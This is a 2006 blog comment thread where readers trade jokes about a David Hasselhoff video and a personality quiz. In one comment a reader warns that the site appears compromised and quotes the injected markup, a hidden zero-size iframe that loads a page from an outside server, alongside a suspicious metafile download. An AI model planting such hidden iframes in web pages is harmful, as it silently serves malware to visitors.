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  1. Dadahead
    Dadahead January 15, 2006 at 5:47 am |

    That video was cool. What the hell was with that weird goggle guy though?

  2. euan
    euan January 15, 2006 at 7:10 am |

    Lauren, has your main page been hacked? My browser gets a request to download a file called n.wmf when feministe.us is loaded.
    I’m guessing it’s a dangerous Windows Metafile.

    Also, there’s a reference to a web server in Laos in the html:
    iframe src=http://www.tgp.la/or.html width=0 height=0 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no

  3. Mark
    Mark January 15, 2006 at 8:21 am |

    Wow… I want to be a popular singer in Germany too. Didja hear how David is mad that people don’t remember him for singing at the Berlin Wall? His voice… like velvet…

  4. The Countess
    The Countess January 15, 2006 at 8:49 am |

    Mine was scarier than yours. I’m “Cult Icon Hasselhoff”. He’s dressed in only a black Speedo and a black leather jacket. Ooooh, my eyes!!!!

  5. B Moe
    B Moe January 15, 2006 at 10:28 am |

    The real reason the Germans hate us is we refuse to recognize the Divinity of Hasselhoff. Who but a God could get mortals to finance such as that?

  6. norbizness
    norbizness January 15, 2006 at 11:52 am |

    KITT’s in a perfect position to run his ass over in that picture. I’ll bet that sentient Firebird regrets that missed opportunity.

  7. Robert
    Robert January 15, 2006 at 12:14 pm |

    I also am Cult Icon Hasselhoff, Countess. Soul mates!

  8. The Countess
    The Countess January 15, 2006 at 12:34 pm |

    It’s the Six Degrees of David Hasselhoff, Robert. Somewhere, somehow, all of us are connected to David Hasselhoff.

    Robert, don’t you dare wear a black Speedo. Oh, the humanity!!

  9. David Thompson
    David Thompson January 15, 2006 at 12:38 pm |

    You are Baywatch Hasselhoff.

    Baywatch? That’s wrong as hell. On the other hand:

    David Thompson will direct the straight-to-video movie:
    “The Massacre of the Care Bears”

    So correct it violates several laws of physics.

  10. Robert
    Robert January 15, 2006 at 12:59 pm |

    Robert, don’t you dare wear a black Speedo. Oh, the humanity!!

    On me, it would look good.

    Although, watching the video, it did strike me that although he’s a bit beefy for my taste, he really is a good-looking man. It’s just the hair and the clothes and the sounds coming out of his mouth.

    We showed Stephanie (3) the video, she watched it twice, then looked at my wife and said “That’s nuff, mommy.”

  11. binky
    binky January 15, 2006 at 1:56 pm |

    Everyone being some variety of Hasselhoff here, you must have seen this haven’t you?

  12. Colorado Jyms
    Colorado Jyms January 15, 2006 at 2:22 pm |

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  13. Tapetum
    Tapetum January 15, 2006 at 2:36 pm |

    I’m also Knight Rider Hasselhoff, which pleases me, as I had the biggest crush on him in those days. Enough so, that despite all that has occurred since, there’s still a lingering fondness.

    Plus, he is still pretty cute.

    As for the video, well, um, there’s something to be said for a guy who’s not afraid to look like a goof?

  14. KathyF
    KathyF January 15, 2006 at 3:37 pm |

    I was hoping for General Hospital “Snapper” Hasselhof. Am I the only one who remembers Mr. Hasselhof’s debut role?

  15. Thalia
    Thalia January 15, 2006 at 4:09 pm |

    Oh, KathyF–

    He was Snapper on “The Young and the Restless.” For 30+ years the parents have been watching “the story” at lunchtime; tragically, it’s an indelible part of my memories now. I often wonder just what kind of impact I could have had on the world if only such valuable space in my brain were not clogged up with the various plot twists about Jack Abbot, Victor Newman, Catharine Chancellor, Rex Sterling, &c., &c.

    I also got Bay Watch Hasselhoff, which puzzles me, as I don’t even know how to swim.

  16. Lynn Gazis-Sax
    Lynn Gazis-Sax January 15, 2006 at 4:57 pm |

    I’m also cult icon Hasselhoff. And you don’t want to see me in only a black Speedo and black leather jacket.

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  18. randomliberal/Robert
    randomliberal/Robert January 15, 2006 at 10:04 pm |

    Baywatch David. Whatever.

  19. Caja
    Caja January 15, 2006 at 10:08 pm |

    That video . . . !

    Thanks for the laugh; words fail.

  20. Santa
    Santa January 15, 2006 at 11:07 pm |

    Ugh, how long do I have to keep reiterating this? “Cracklin’ Rose” anyone? Clown make-up on the penis? Yeah, that’s your googly eyed feak…

  21. ginmar
    ginmar January 15, 2006 at 11:49 pm |

    Scarred for life, I am. Or scared for life. Whatever. I can’t even click. A speedo and a leather jacket? Do you guys realize that somewhere Michael Flatley just sat bolt upright with sudden flash of inspiration?

  22. Don Drennon
    Don Drennon January 16, 2006 at 12:25 pm |

    I believe that making this sort of imagery available to the public is a threat to National Security.

    In addition to Strange Goggle-Guy, I find the portion with the angel-children and wiener dogs particularly disturbing.

    concerned,

    “Baywatch” DD

  23. Martijn Fransen
    Martijn Fransen January 16, 2006 at 6:03 pm |

    Hi, i tried to download that new version of the night rider theme but i only found the original. Can anybody help me out. What is the name of the group that did the remake?

  24. Ledasmom
    Ledasmom January 16, 2006 at 7:03 pm |

    Were they all official wiener dogs? There’s one that, if it’s a dachshund, is quite the fattest dachshund I’ve ever seen. More of a bratwurst dog.
    Tapetum, I cannot believe that I shared a room for two years with someone who crushed on Knight Rider, and I want a retroactive transfer.
    I do admit that he was entertaining in the SpongeBob movie: “I’m – David Hasselhoff!”

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